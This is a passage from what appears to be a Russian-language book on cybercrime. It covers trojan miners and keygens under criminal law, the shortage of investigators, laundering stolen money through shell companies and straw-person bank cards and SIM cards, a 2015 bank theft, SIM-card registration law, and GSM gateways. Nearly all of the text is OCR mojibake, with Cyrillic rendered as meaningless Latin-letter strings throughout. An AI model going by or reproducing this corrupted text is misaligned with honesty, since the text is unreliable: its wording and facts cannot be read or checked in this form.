OmHako 9TO 3ab6ayskIeHue KaTacTpoduueckoro macmraba. He kaxk-
Iasi BpeLOHOCHAasE KOMIIbIOTepHAsl IporpaMMa SIBJISIETCS BUPYCOM, U He
KKl BUPYC SIBJISIETCS BPeOOHOCHO MPOrpamMMOii.

MO3KHO B35ITh HEKOTOpPbIe MoAMbMKaLMM TaK Ha3bIBa€MOI TPOSTHCKOM
nporpaMMbl Tuna Trojan.BitCoinMiner, koTopble (Kak y)ke yIIoMMHa-
JIOCh B II. 2.3 «ATaka C MCII0JIb30BaHMEM MAaCKMPOBKU I10[, JierajbHOe
IporpaMMHOe obecrieueHue ywin (Gaiiyibl») MpegHasHauYeHbl AJIsT KPasku
BBIUMCINTEIbHBIX MOUIHOCTEN 3apaskeHHBbIX KOMITbIOTEPOB.

[TomydaeTcsi, YTO, HECMOTPS Ha TO UTO TaKue MPOrpaMMbl OIpeaersi-
IOTCSI aHTMBMPYCHBIM IMPOrpaMMHBIM o0OecriedyeHreM, CBOMCTBAMI Bpe-
IOHOCHOJ1 IIporpaMMbl, yKazaHHbIMM CT. 273 VK PO, He 061agalor.

C mgpyroit CTOpOHbI, MOXKET MMeThCSI HeKasl mporpaMma — keygen.exe
(kejireH), eIMHCTBEHHbIM (DYHKI[MOHAJIOM KOTOPOIA SIBJISIETCS TeHepaLusi
CepUIHbIX HOMEPOB (KJIKYel), UCIOIb3YyeMbIX 3aTeM IJIs BBOJA B OKHO
KaKO¥-M60 MPOrpaMMBbl C 1eJIbI0 TTOC/IeqYIONero HerpaBOMEPHOTO ee
MUCIO/Ib30BaHMs. Ha Takoi1 «keiireH» aHTUBUPYCHbBIE TPOrPaMMbI pearu-
poOBaTh He OYAYT, HO B COOTBETCTBUM C 3aKOHOJATEIbCTBOM (aits OymeT
OTHOCUTBCSI K BPEJOHOCHBIM KOMITBIOTEPHBIM IIpOrpamMmamM, IpesHa-
3HAYEHHBIM [JI51 HEMTpaau3auum CpeACTB 3alUThl KOMITbIOTEPHOV MH-
dbopmarnun.

[Ipo6iema B pacciemoBaHMUM MOJOOHBIX MPECTYIJIEHUIT YaCTUYHO
3aK/II0YAeTCS B HEXBATKE CITEIMAIMCTOB, 00JIaIal0IINX TOCTATOYHBIMMU
3HAHUSIMU U OIIBITOM, HEOOXOAVMBIM JIJISI TOBEIEHMSI IeJia He TOJIbKO
110 BO30OYKIEeHMSI, HO ¥ O OOBMHUTEIHHOIO IIPUTOBOPA C 00513aTEIbHBIM
BO3MellleH/eM HaHeCEeHHOTO Bpea MOTePIIeBIINM.

Ileno He B TOM, UTO XaKepbl — 3TO CIELMaaNCThl BbICIIErO Kiacca.
KoHeuHO, J/151 MX BBISIBJIEHUS HY>KHO 00/1a[1aTh KBIM(UKALIVE U OITbI-
TOM, HO 00/1a7]aii OTlepaTUBHUK JOCTATOYHBIMM KaueCcTBaMi, COOpaHHbIe
I0Ka3aTeqbCTBA MOMAaAyT B CJIEACTBEHHbIE OpraHbl, IOTOM B IPOKypa-
TYypy, 3aTeM B cyz. CIenuaancTbl JOKHBI ObITh KBAIM(PUIIMPOBAHHbI-
MM BO BCeX IMEePeUunIEHHbIX MHCTAHLUMSIX, a TAKKe, UTO OUeHb Ba>KHO,
Ha YpOBHE pa3pabOTKy 3aKOHOITPOEKTOB, NMTPUKA30B M Pa3HOOOPA3HBIX
MHCTPYKLUMIA.
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[Ipo6iema 60pb0OBI C KMOEPIIpeCTyIIeHMUsIMM B Poccuu ecThb, 1 B Ha-
TIpaBJIeHNN ee pelleHus BegeTcs pabora. OgHako 3Ta paboTa 3a4acTyio
BeIeTCSl Pa3spO3HEHHO M XaOTUYHO, HAIIPUMep OpraHM3alusiMu, He
MMEIOIIMMM OTHOILIEHMS K ITPAaBOOXPAHUTEIbHOI CCTeMe, TGO JII0Ib-
MM, KOTOpbI€, TaK CKa3aTh, <HEe B TeMe».

3.3. [loCTynHOCTb UHCTPYMEHTOB QaHOHUMHOW CBSI3U

U yNpaBneHus pecypcamu

HocTyrHbIe CpelCcTBa aHOHMMHOM CBSI3U U TIpoBeeHMe (GUHAHCOBBIX
orepaluii B Hallleli CTpaHe, TTOKaIyiA, SIBJISIIOTCSI OCHOBHBIMM TIPUYMHA-
MM CTOJIb MACHITAaOHOTO PacIpoOCTpaHeHMsT KMOepIpecTyITHOCTY U BO-
0011le, HaBepHOe, 3KOHOMMYECKOI MPeCTYITHOCTM.

Bo-nepBbIX, 3TO KacaeTcsl CTaauy MOATOTOBKU K MPECTYIIEHUIO.

Ha sTOM 3Tare 3J0yMBIIIEHHUK MMPOU3BOAUT pa3juUHbIe Oeil-
CTBUSI — MOAOMPAET COYYaCTHUKOB, 3aKa3biBaeT HEOOXOIMMble MaTe-
pUabl U YCIYTU.

K maTepuanam, Halrpumep, MOKET OTHOCUTBCS TaK Ha3bIBaeMblii «0Oe-
JIBIV TIJIACTUK», TIpMOOpeTaeMbIit KapaepaMu A1l ITOC/IeAyIoNeil 3ammucu
Ha Hero JJaMIIOB TUIATEXHbBIX KapT ¥ OOHAIMYMBAHMS TeHEeXKHBIX CPEJICTB
B OaHKOMAaTax.

Ha sTare moAroTOBKM K MPECTYIVIEHUIO 3JI0YMBILIJIEHHUKOM OCY-
IIECTBJISIETCST 3aKYIIKa CPENCTB CBSI3U: MOOMIbHBIX Tele(OHOB, MOAe-
MOB, HO yalle Bcero SIM-kapr.

[ToxuuieHHble WM TOTYYeHHbIe ITyTeM BbIMOraTeIbCTBa U LIaHTa)Xa
IeHesKHbIe CpeliCTBAa HY)XKHO MepeBecTy Ha KaKOu-11b0 MOAXONSIIIiA
CUeT U ITyTeM OBICTPBIX M HAZeSKHBIX OTlepaIuii 00HaIMUNTh. [IpuBemeH-
Hasl B 9acTy «MMCTHKA KMOEPIIPEeCTYIMHOCTU» CXeMa B3aMMOIEeiCTBUS
MIPeCTYIHbIX TPYMII MMO03BOJIsIET 6e3 TpyAa UCI0/Ib30BaTh (PMHAHCOBbIE
MHCTPYMEHTBHI.

151 TIepBUYHOrO Mprema AeHEeKHbIX CPeICTB yallle BCero MCIoib3y-
IOTCSI pacyeTHbIE CYeTa, OTKPBIThIE 0OIIeCTBAMM C OTPAHUYEHHOI OTBET-
CcTBeHHOCThI0O — OOQO, KOTOpbIe OTKPBIBAIOTCSI HE paay KOMMEPUYECKON
IesiTeIbHOCTY, a KaK pa3 AJjis MOMydYeHUs U fajbHelllel OTChbIIKU He-
3aKOHHBIX CPEJICTB. ITO Te CaMble «OIHOOHEBKM».

ViipaBiieHue pacueTHbIM CYETOM OCYILEeCTBJISIeTCS MOCPEeNCTBOM CU-
CTeMbl AVCTAHI[MOHHOTO 6aHKOBCKOTO YIIpaBaeHMsI, T03BOJISIIONIE Mpo-
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BOIUTH ONEpaLyy U3 JII000I TOUKM, IIe eCTh AOCTYII K ceTu VIHTepHeT
" cepBepy OaHKa.

Kpome «OIHOOHEBKM» U PACYETHOIO CYeTa, 3JI0YMbBINIJIEHHUKU UC-
MO/Tb3YIOT OAHKOBCKME KapThl, 3aperUCTPMpPOBaHHbIE HA IPOMOB — pu-
3udeckux ymi,. [Ipu camori poCToV cxeMe MepeBeleHHbIe MOIIEeHHU-
YeCKUM ITyTeM JleHeXKHbIe CpeliCTBA MOCTYIIAT Ha PaCyeTHbIN CUer
(GUPMBI-OTHOIHEBKM, TTOC/IE YEro pa3dpachIBAIOTCS Ha KapThl IPOIOB
1 OOHATMYMBAIOTCSI.

[ToMmymo (pMHAHCOBBIX MHCTPYMEHTOB, KMOEPIIPECTYITHUKM BbIHYXK-
IleHbl VICII0JIb30BATh JOTOJHUTE/IbHbIE YCITYTU, TaKMe KaK BUPTYaIbHbIN
XOCTMHT, PETUCTPaLVs TOMEHHbIX MMEH, IPY 3TOM OUeHb YacTo Tpeby-
eTcsl YKa3bIBaTh aODOHEHTCKMIT HOMep MOOMIBHOTO TeedoHa.

TyT Ha MOMOIILb 3JIOYMbIIIEHHUKAM NPUXOAT SIM-KapThl, KOTOpbIE
3aperMcTpUpoOBaHbl Ha «JIeBbIX» JoAei. CMM-KapTbl OIlepaTOPOB CBSI-
31 — HeOTbeMJIeMbI/i MHCTPYMEHT 3JIOYMbIIIJIEHHUKOB, OHU MCIIOb3Y-
I0TCS U TIPY KOOPAMHALIUM OeiiCTBUIA, U [IJ1s1 BbIXoaa B IHTepHeT, AJ1s Co-
BepIleHNs 0aHKOBCKUX OIepaiuii, ik perucTpaiuy yUeTHbBIX 3aIiCe,
3JIeKTPOHHBIX KOIIEJIbKOB U TaK Aajiee.

Ilyist TOro 4TOOBI MTPOAEMOHCTPUPOBATh MAcCIITa0bl OeACTBUSI, aBTOP
MpUBeAeT MPUMepP COBEPIIEeHHOTO MpeCcTyIUIeHMs, B pe3yibTaTe KOTO-
poro 6bUI0 OCYILECTBAEHO XUINEHME NeHEXKHbIX CPelCTB Y OJHOI0 U3
KPYITHBIX OTeUeCTBeHHbIX 6aHKOB B 2015 romy.

B pesynbTaTe 3a0pOlIeHHOr0 69KI0pa 3/JI0YMbIIIIEHHMKAMM ObL IT0-
JIyUeH OCTYT K HeCKOJbKMM KOMITbIOTepam OaHKa, IO3BOJISIIONIMIA ITPO-
BOIUTH ITOTIOJTHEHME JIEKTPOHHBIX KOIIEIbKOB ¥ a00HEHTCKMX HOMEPOB
MOOWMIbHBIX TeJIe(DOHOB.

Vcrionb3yst yoaJeHHbI TOCTYII, 3/I0YMbIIIJIEHHMKAMM ObIIa ITOXM-
ImeHa cymMma 6oJiee IBaAIaTy MUJUIMOHOB pyOsieii IyTeM IpOBeAeHMs
6oJiee II€CTU THICSIY MOIIEHHMYECKUX OIlepaluii 1Mo 3a4MCIEHMIO Ha
9JIeKTPOHHbBIE KOIIEeJbKM U cueTa aODOHEHTCKMX HOMepOB. B pesyibraTe
aHaJIM3a YCTAaHOBJIEHO, UTO [IJIS1 ITIPOBEIeHMS MOLIeHHMYEeCKMX Orepamii
MPECTYITHMKAM He00X0auMOo ObIJIO IMOATOTOBUTH CTOJIBKO ke SIM-Kapr,
eCTeCTBEHHO, 3aperMcTpupoBaHHbIX Ha Bactwo [TynkuHa.

Ha teppurtopun Poccurickoin @enepanun, B COOTBETCTBUU C Lei-
CTBYIOIIMM 3aKOHOAATE/JIbCTBOM, YCAYIM CBSI3U JOKHBI OKa3bIBAThCS
orepaTopaMu CBSI3 aOOHEHTaM Ha OCHOBAHMM JOTOBOPOB, 3aK/IIOUEH-
HbBIX B COOTBETCTBUM C TPAXKAAHCKMM 3aKOHOIATEIbCTBOM U ITPaBUIaMy
OKa3aHMS YCIyT CBSI3U, OOHAKO, KAK MbI BCe NPEKpPacHO MOHMMaeM, Ha
MpaKTHKe PaboTalOT He BCe 3aKOHBI.
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3.3.1. locmynHocmb AHOHUMHOUI €853U U ynpaesieHus

HocTymnHbIe CpencTBa aHOHMMHOM CBSI3U U MPOBeJleHe HEeKOHTPOJIN-
pyeMbIX (MHAHCOBBIX Orepanuii B Poccun SIBASIIOTCSI OCHOBHBIMU TIPU-
YMHAMM CTOJIb MAacCIITaOHOTO PacIpOCTpaHEeHUs KMOepIpecTyITHOCTH
1 BOOOIIe, HAaBepHOEe, SKOHOMMUYECKOI ITPECTYITHOCTM.

PaccMOTpMM HEMHOTO AeTajbHee CIOKMBIIYIOCS CUTyaluo. Mexa-
HM3M KOHTPOJISI 3@ CPeACTBAaMM CBSI3U M (DMHAHCOBBIMM OIepalVsIMU
BO3MOXXEH ¥ B HEKOTOPOM pojie Jake (QyHKIMOHUPYET, M0 KpaliHel
Mepe ¢ GopMaibHOJ TOUKM 3peHMsI, OCHOBAaHHOJ Ha JIe/iCTBYIOLIEM 3a-
KOHOAaTenabCTBe. IIpy Bcem IPM 3TOM KaK CpeACcTBa CBSI3MU, TakK U u-
HAHCOBbIE MHCTPYMEHTBI MO3BOJSIOT 3JI0YMBILIIJIEHHMKAM OCTaBaTbCS
MHKOTHUTO IIPM COBEPIIEeHUN Omepaluii.

[IpecTymnHbIe COOOIECTBA M MOIIEHHUKU-OIVMHOUYKYM UCIIOAb3YIOT
BIIOJIHE TOCTYIHBbIE CpPeACTBa CBSI3UM U (PMHAHCOBbIE MHCTPYMEHTHI.
OO6BsIcHSIETCST 3TO crielM(UKOI MpeCcTyIIeHni, OT CTaAuM OATOTOBKM
K TIPeCTYIUIEHUIO, 3aTeM peanu3anuy MpecTyIHOro 3aMbIC/ia M 3aKaH-
YKMBas MOJIyYeHMEM OUMILEHHBIX JTE€HEKHBIX CPEJICTB.

Ha sTarie nmoaroToBKy K MPeCTYIJIEHUIO 3JI0YMBILIJIEHHUK ITPOU3BO-
AT pa3jIMyHbIe MeCTBUS — MOA0MpPaeT COyIaCTHUKOB, 3aKa3bIBaeT He-
00X0IMMbIe MaTepPUaJIbl U YCITIYTU, PETUCTPUPYET SJIeKTPOHHBIE aKKAYH-
ThI U pecypchl. IIpy MPUTOTOBIEHUM K ITPECTYIVIEHUIO OCYIECTBIISIETCS
3aKyIlKa MHCTPYMEHTOB: MOOM/IbHBIX Te/le(DOHOB, MOIEMOB, HO yale
Bcero SIM-kapT onepaTtopoB CBSI3U.

OcHoBHas npobjeMa KpoeTcs B TOM, uTo SIM-KapThl OomepaTopoB
cBs131U B Poccuyt pa3garoTcs Kak peKjaaMHble OYKIIeThl, 6e3 00513aTeIbHO-
rO IMpeabsBIeHNSI JOKYMEHTOB, YIOCTOBEPSIOMMX JUIHOCTh OYIYIIEro
MOJIb30BATEJS, B CBSI3U C YeM MCII0/Ib30BaHMe 3aperMcTpUPOBAHHBIX Ha
«JIEBBIX» JIUII CMM-KapT SIBJSETCSI Hauboiee MTOCTYITHBIM U JleIIeBbIM
CpenCcTBOM aHOHMMHOCTU [IJISI 3/I0YMBIIJIEHHMKOB KaK Ha 3Tarie Moj-
TOTOBKM, TaK U B MIPOIeCCe OCYIIECTBIEHNMST HeIIPaBOMEPHBIX AEeMiCTBUNA.
Takue cuM-KapThbl UCIOIb3YIOTCS TIPECTYITHMKAMM B MOOM/IbHBIX Teje-
(oHax 1 Mmomemax.

Hy>KHO OTMETHUTB, UTO 60pbOa ¢ HeTOOGPOCOBECTHBIMM PACIIPOCTPAHM-
TeJISIMU CUM-KapT Bpojie 6bI BemeTcs. B ®emepanbHblil 3aK0H «O CBSI31»
peryJsipHO BHOCSTCS U3MEHEHMSI, HallpaBJIEHHbIe Ha yCUJIeHMEe KOHTPOJISI
B chepe aOOHEHTCKOTO OOCTY;KMBAHMSI B OTHOIIIEHUM OIIEPaTOpPOB CBSI-
31. Tak, JONOMHEeHNS BHOCWINCH PenepanbHbIM 3aKOHOM OT 02.11.2013
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N2 304-®3, a TakKe oxkugaTcs uameHeHnus ¢ 1 uwoHsa 2018 roga B co-
oTBeTcTBUM ¢ DemepanbHbIM 3aKOHOM OT 29.07.2017 N2 245-03!.

B pericTByroiein pegakuyu @enepaibHOro 3akoHa «O CBSI3U» 3aripe-
I[aeTcs 3aK/II0YeHMe TOrOBOPOB 00 OKasaHUM YCIYT B HECTAI[MOHAPHbIX
TOPIOBBIX 00BEKTAX, 38 MCK/IIOUEHMEM CJIy4aeB 3aK/IIOUEeHMS JOTOBOPOB
B TPAHCIIOPTHBIX CPeACTBAaX, KOTOPbIE CIIeIMaJbHO 060PYIOBaHbI IJIs
006CTy>kMBaHMSI aDOHEHTOB M COOTBETCTBYIOT TPeOOBAHMSIM, YCTaHABIIM -
BaeMbIM elepaJibHBIM OPraHOM MCIIOJHUTE/NbHOM BJIACTU B 001aCTU
cBs3u. OmHAKO 3Ta HOpMAa Ha Jejie abCoIIOTHO He COOJII0IaeTcs.

Kpome Ttoro, ¢ 1 ntons 2018 romga paspelinaeTcs: 3aK/Il0YeHME JOTOBO-
pPOB 00 OKa3aHMUM YCIYT CBSI3M ITIOCPEICTBOM CeTy «IHTepHeT» C MUCITOJIb-
30BaHMeM 3JIEKTPOHHOJ MOAINCH, TIPY YCIOBUM UTO MPU Bbiade KIua
3JIEKTPOHHO MOAIINCHY TUYHOCTb (PM3MUECKOTO JINIa YCTaHOBJIEHA ITPU
JINYHOM IIpUeMe.

Hapo ronaraTh, 9Ta 6/iMcTaTeIbHAs MHMUIIMATUBA B peaibHOCTM 0Ope-
TeT APYyrue ouepTaHMs: Ha «JIeBOe» JIMIIO MM OpraHu3aiuio opopmis-
eTCsl 37IeKTPOHHASs TOAMNChH, U OCYIIEeCTBJISIETCSI ONITOBAsI 3aKyIlKa CUM-
KapT, KOTOPbIE TaK ke OeCKOHTPOIbHO, Kak ¥ paHee, pacIIpOCTPaHSIIOTCS
BCEM >KeJIaloIM.

3aKOHOAATeb IUVIAHUPYET TaKXKe YKeCTOUUTh KOHTPOJIb, 00sI13aB
¢ 1 nwong 2018 roga onepaTopoB CBSI3U MPOBEPITh LOCTOBEPHOCTD
naHHBIX. TO eCTb YCayrM CBSI3M JOJIKHBI IIPEIOCTaB/ISITbCS aOOHEHTY,
IIOCTOBEpHbIEe CBeeHMsI 0 KOTOPOM IIpefoCTaBeHbl OepaTopy CBSI3U
B COOTBETCTBUM C IpaBUIaMM OKa3aHUSI yOUIYyT CBsI3U. [Ipu aTom nuiio,
IeliCTBYIOIlee OT MMeHM oIlepaTopa CBsI3U, IPU 3aK/I0YEeHUM TOTOBOpa
00s513aHO BHECTM B HEro JIOCTOBEpHbIE CBeleHMs 00 aboHeHTe, a oIle-
paTop cBsi3u OymeT 06s3aH OCYILECTB/SITh IPOBEPKY JOCTOBEPHOCTHU
CcBeleHMiT 00 aOOHEHTe U CBeIeHMII O MO0JIb30BaTe/IsIX YCAYTaMy CBSI3U
aboHeHTa.

IIpu 5TOM B C/Tyyae HEIOATBEPKIEHMSI JOCTOBEPHOCTY CBeIeHMii 00
aboHeHTe oIlepaTop CBSI3M IIPUOCTAHABIMBAET OKa3aHMe YCIyT CBS3U
B IIOPSIJIKe, YCTAaHOBJIEHHOM MpaBUaMM OKa3aHUS YCIYT CBSI3N.

3BYUYUT, KOHEUHO, 3M0POBO, TOJIbKO €CTh IBa 3aMeuaHMs.

[lepBOe: HACKOJBKO OIEpaTOpP CBSI3U 3aMHTEpPEeCOBaH B BblIeIeHUN
1epcoHasia ¥ MeXaHM3Ma IIPOBEPKM JOCTOBEPHOCTHM JAHHBIX 00 a00OHEH-

1 @epepanbHbIi 3aKOH OT 29.07.2017 N2 245-®3 «O BHeceHUU U3MEHe-
Huii B @emepanbHblii 3aKOH “O CBSI3U ».
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Te? 1 BTOpOE, O0sIee 3HAUMMOE MIPU PAaCCMOTPEHMUM TeMbl JaHHOM KHU-
I'M: KaKOV CPOK YCTAHOBJIEH [JIS BbISIBJIEHMS OCTOBEPHBIX CBENEeHMI1?

Eciu nnpyHuMaTrh BO BHMMaHMe, 4TO BBoAgumas ¢ muioHs 2018 roma
HOpMa IpeanuChIBAET JINILY, OelCTBYIOIeMYy OT MMEHM oIlepaTopa CBSI-
31, IIPU 3aKJIIYEHUM JOTOBOpPA HAMPaBUTh OOVH 3K3€MIUISIP MOAMNN-
CaHHOTO A0r0OBOpa OMepaTopy CBI3M B TEUEHME ECATU JHE MOociie ero
3aK/II0UeHMsl, TO, OOaBUB K 9TOMY CPOKY MepUIeTUM JIOTUCTUKU, CMeJIO
MOTyYUM MeCSII.

Tenepb 106aBMM K 3TOMY CPOKY YKa3aHHbBI/ B HOBOJ HOpMe 3aKOHa
CPOK B ISITHAAUATh CYTOK, OTBEIEHHBIN OJ1s1 peKpalleHus OKa3aHUs
YCJIYT CBSI3U B (JIyyae BbISIBJIEHMS] HECOOTBETCTBMS JaHHBIX, YKa3aHHbBIX
B aOOHEHTCKMX JOrOBOpPax.

[IpuBeneHHbIe pacyeTbl OYAYT BepHbI JIUIb IIPU YCIOBUM HEYKOCHMU-
TeJTbHOTO COOMI0IeHsT 3aKOHA, YTO BBIIVISIAUT JOBOJBHO YTOMMYECKH.

Ho nipobiemMa iaske He B TOM, YTO €CTh COMHEHMSI B CJIASKEHHOM JIe¥i-
CTBUM OIMCAHHOT'O MeXaHU3Ma, IIPegyCMOTPEHHOT0 HOBBIMM HOPMaMu
3aKOHAa, a B TOM, UTO 3TUX CaMbIX JeCSITY WIN MSITHAAATH, a TeM boriee,
€CJI BEpUTb IPOM3BEIEeHHBIM HaBCKUIKY pacueTam, COpoKa MSTH CYyTOK
BITOJTHE OyIeT JOCTATOYHO [IJISI OCYIIECTBIEHMS BCEX «UePHBIX» HeJT, IJIs
KOTOPBIX 3/I0YMBIIIJIEHHUKY MTpUoOpeTaloT «aeBbie» SIM-KapThl.

[IpuBOAMMBIE B JAHHOJ KHUTE MPUMeEPBI JEMOHCTPUPYIOT UCKIIIO-
YUTEJbHYIO ONEePaTUBHOCTb CO CTOPOHBI 3JI0YMBILIJIEHHUKOB IMPU
coBepuieHuM KubeprpectyraeHnii. OT Hauasa OTKPBITHIX AeCTBUIA
M 10 OOHAIMYMBAHUS TEHEKHBIX CPEICTB IMTPOXOINUT OKOJIO TPEX—TISITU
IHeI.

Boob1ue, nHMIMaTHBa 6JI0KMPOBKYM SIM-KapT ITOpasmUTeIbHO HAIIOMM-
HaeT MaHMIO GJIOKMPOBKM (PUILMHTOBBIX CaliTOB, pACCMOTPEHHYIO B Ha-
yaJjie 3TOV MaBbl. Takke MHOTO BOKPYT 3TOTO 3aMbIC/Ia TPOMKHUX peuer,
M MaJIO OT 3TOrO JeMCTBA NPEeaBUINUTCS TOJIKA.

CyliecTBYIOT U ceifuyac MmpeayCMOTpPeHHbIe 3aKOHOM HaKa3aHMs 3a
O6eCKOHTPOJIbHOE TTOAK/IIoUeHMe aboHeHTOB. Tak, eme B 2013 rogy 6nu1a
BBeeHa cT. 13.29 KoAll P®!, npemycmaTpuBawIiasi HajaoXeHue aaMu-
HUCTpPAaTUBHOTO IITpada 3a 3aKk/aoueHye OT MMeHM orepaTopa CBSI3U
moroBopa 06 OKaszaHUM YCITYT CBSI3Y JIMIIOM, HE MMEIOIIMM ITOJTHOMOYMiK
OT oIlepaTopa CBSI3U Ha 3aK/II0UeHMe IOroBopa.

L http://www.consultant.ru/document/cons_doc LAW_34661/66541e206540c02e93%468a
de0a63fa99a2820332/.
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HeiictByet Takke U cT. 13.30 KoAIl P®!, npenycmaTpuBaroiasi Ha-
JIO’KeHMe aIMUHUCTPATUBHOTO ITpada mpy HeBbITIOTHEHUY IIPeIyCMOT-
PEHHBIX 3aKOHOM TPe6OBaHMIA JIMIIOM, TIeCTBYIOIMM OT MMEHMU oIlepa-
TOpa CBSI3U, UM HECOOTIoeHe OIepaTOPOM CBSI3U YCTAaHOBJIEHHOTO
nopsizka uaeHTuduKauym aboHEeHTOB.

ABTOD 3aKOHOIIPOEKTAa, HAITPaBJIE€HHOIO Ha 3alpeT pa3gayy aHOHUM-
Hbix SIM-kapr, Cepreit Bnagumuposnyu JKene3HsiK, MCXOOU U3 BEPHbIX
MIpeanocChlIOK, apryMeHTUPYsI, uTo «Ipoaaxka SIM-kapt B Poccuyt HOCUT
HEeCMCTEMHBIN XapakTep. 3a4acTylo X MPOJAIOT Ha y/IuliaxX, B He Mpef -
Ha3HAYEHHBIX JIS1 3TOTO IMOMeIleHMsIX, 6e3 Haexalrero oopMmieHus
IOKYMEHTOB, YeM CO3[IAIOT ITOYBY JJISI pa3/IMUHOTO pojia 3/10ymoTpebiie-
HMIT ¥ MOIlleHHMYecTBa. Tak, Mo opuIMaJbHbIM JAaHHBIM, 60j1ee 70%
BCEX JIOKHBIX COOOIIEHNI O TOTOBSIIMXCSI TepaKTax MOCTYIAalT C MO-
O6WIbHBIX TenedOHOB, KaK IMPaBUJIO, 3aPETUCTPUPOBAHHBIX IO MTOIJIOXK-
HbIM CBEJE€HUSIM».

W criopuTh 30eCh HE O UeM, COIJIACUTHCSI MOKHO Ha BCe CTO MPOLIEH-
TOB, TOJIKO MEXaHM3M peayu3aliyy 3aMbIC/Ia OISITh MTPOJAyMaH He ObLI.
3aKOH ecTb, 3(pdeKTa OT ero CyllecTBOBaHMS, K COKajleHUI0, TTI0Ka Her.

OTBeTCTBEHHOCTb BBeeHa ele DenepanbHbiM 3aKOHOM OT 02.11.2013,
a KOro HaKa3bIBaTh M KaK BBINVISIAUT IIPOLECC HeleraJbHOro pacipocTpa-
HEeHMs CMM-KapT cenyvac?

Peruncrpupyercs Hekoe OOO, 3aknwuaetrcs or umeHu aroro OO0
IOTOBOP C OIepaTOPOM CBSI3U WJIM AUJIEPOM, IIOC/Ie Yero 3aKymnaroTCs
ThICTUM cuM-KapT. Janee 3to OO0 MOXKeT OTIpy>KaTb CMM-KapThbl APY-
romy OOO, KOoTOpoe, B CBOIO ouepedb, HabMpaeT pacipoOCTPaHUTEIEN,
3a4aCTyI0 (JIa60 rOBOPSIIINX MO-PYCCKM, KOTOPBIX ITyCKAIOT «B ITOJIE», T/Ie
OCYIIECTBJISIETCSI PO3HUYHAS Mpogaxa — pas3fauva CMM-KapT Ha pPbIHKax
" BOK3aJIax.

Be3ycioBHO, KMOGEPIIPECTYITHUKA C 1IeJIbI0 COBEPILEeHMS MTPeCcTyIlie-
HMSI He 6eraloT Ha BOK3aJI 32 CMM-KapTaMu, TOBOJIbHO HEYJOOHO TOKY-
raTh TaM 5-6 THICSU CMM-KapT, He MpuBJeKass BHMMaHus. [loaToMy as
3TUX LeJIeil MCTIOb3yeTC sl Halll BCeMM JII00MMBbIii VIHTepHET, IIe MOXKHO
6e3 1pobeM HaiTH TeX, KTO MMeeT OTHOIIEeHMe K YIIOMSIHYTbIM BbIIIIe
OOO-pacnpocTpaHuTessIM, U 3aKa3aTb CMM-KapThl OIITOM U Jiaxke C [0-
CTaBKOJ B 110001 permoH Poccun.

L http://www.consultant.ru/document/cons_doc LAW 34661/fd93d9d9847dbf0e78c747a
4c707c611bb3ela96/.
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Ipyras mpob6iema, SIBJISIIONIASICS CIeACTBMEM O€CKOHTPOIBHOTO IO/ -
KJII0UueHVsT abOHEeHTOB, — MCIIOJb30BaHMe 06e31MueHHbIX SIM-KapT
B GSM-1u1t03ax. OTO SIBJleHMEe He TaK JaBHO CTaJI0 MHCTPYMEHTOM KU-
6epMOIIIeHHMKOB, HO OY€Hb OBICTPO 3aBOEBAJIO CUMITATHUIO Y 3/I0YMBIIII-
JIEHHUKOB.

GSM-111103bI — 3TO TeJIEKOMMYHMKAIIMOHHOE 000pyHooBaHue, Ipey -
Ha3HaueHHoe [IJis IIpuema 1 rpeobpa3oBaHus TOI0COBOI MHbOpMaLNH,
repegaBaeMoii 1o ceTsIM Iepenaun gaHHbIx (VoIP-Tpaduka) B dhbopmar,
CITy>Kaluii [1J1s riepefauy peueBoyi MHGopmalyu o Tesie)OHHBIM CeTSIM.

He3akoHHOe UCIIOIb30BaHMe IUTI030B MMEET 1Ba OCHOBHBIX HAIlpaB-
JeHusi. OHO 3aK/I0YaeTCs B HE3aKOHHOM IPeAINIPUHUMATEIbCKON e -
TeIbHOCTU, APYToe — B CO3AaHUM MeXaHM3Ma (PYyHKIMOHMPOBAaHMS aHO-
HMMHOJ CBSI3M KaK yCJIyTU, HalIpUMep AJ1s IIPeLoCTaBIeHUs aHOHUMHO
CBSI3U U (PYHKIMM — IIOJMEHA HOMepa 3BOHSIIIEro aboHeHTa.

[lonMeHa HOMepa MOXET MCII0JIb30BaThCSl MOIIEHHUKAMM He TOJIbKO
IJ1sI aHOHMMHOM CBSI3U, HO U TIPU OCYILECTBJIEHUN «CJIEIIbIX 3BOHKOB»
110 a60OHEHTCKMM HOMepaM, Yaille BCEro OT MMEHU COTPYIHUKOB CTYKObI
6e30MMacHOCTH, KOJIIEHTPOB OAHKOB MJIM OIePaTOPOB CBSI3N.

HenpaBomMmepHoe ncrionb3oBaHue GSM-IITI030B Kak sSIBJIEHUE CTajlo
MIPUBJIEKATh BHMMAaHMEe MPAaBOOXPAHUTEIbHBIX OPraHOB U OIEepaToOpOB
cBsi3u B 2010-2012 ropmax, Korga B Xoe MpoBeAeHUs OlepaTuBHO-PO-
3bICKHBIX MEPOTIPUSITUN U CJI€ICTBEHHBIX IEeCTBUI cOTpyaHKamu @Ch
Poccun 1 MB/I, Poccuyt ctany BBISIBIASATHCS ITIOMeEIeHMsI, OObIYHO 3TO
CbeMHbIE€ KBaPTUPbI, UCITOTb3yeMbIe JIJIT YCTAaHOBKM JaHHOTO 060pymo-
BaHMSI.

Yaile Bcero JaHHbIM BUJIOM HE3aKOHHON AeSITeTbHOCTY 3aHMMAaloT-
CSI OpraHM30BaHHbBIE T'PYIITbI, YUYACTHUKY KOTOPHIX 6e3 JIMIeH3UM Ha
OCYIIeCTBJIEHNE HesITeTbHOCTY B 06JaCTM OKa3aHUSI YCIYT CBSI3U He-
MpaBOMEPHO OKa3bIBAIOT PU3MUECKUM U IOPUANYECKUM JINIAM YCITYTU
MEXIYTOPOAHOM U MEXAYHAPOIHONM CBSI3N.

O6napyskmuBaeMmbie GSM-IIUTIO3bI UCITIO/Ib3YIOTCS 3/TOYMbIIIIEHHUKAMM
17151 COBepIlieHMsI TOJIOCOBBIX BbI30BOB MeKAy aO0OHeHTaMM MHOTOPOAHMUX
" 3apyOesKHBIX CeTei CBI3YM ¥ aDOHEHTAMU CeTeli OIepaTopoB MOOMJIb-
HOI CBSI3M.

OcyuiecTB/ieHMe HE3aKOHHOM JesITeIbHOCTU I10 TePMMHALIUU TOJI0-
COBBIX BBI3OBOB He TOJIbKO HapyllaeT [eliCTBYIOlee 3aKOHOAATeIbCTBO,
HO ¥ HAaHOCUT yliep6 orepaTopaM CBSI3N.

HemHoOro Teopumn, 4To6bI BO BCEM pa3obpaThCsl.
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GSM-uutt03, kak 1 CDMA/UMTS, — 3TO yCTpOICTBO, MMEIOIee MOJ -
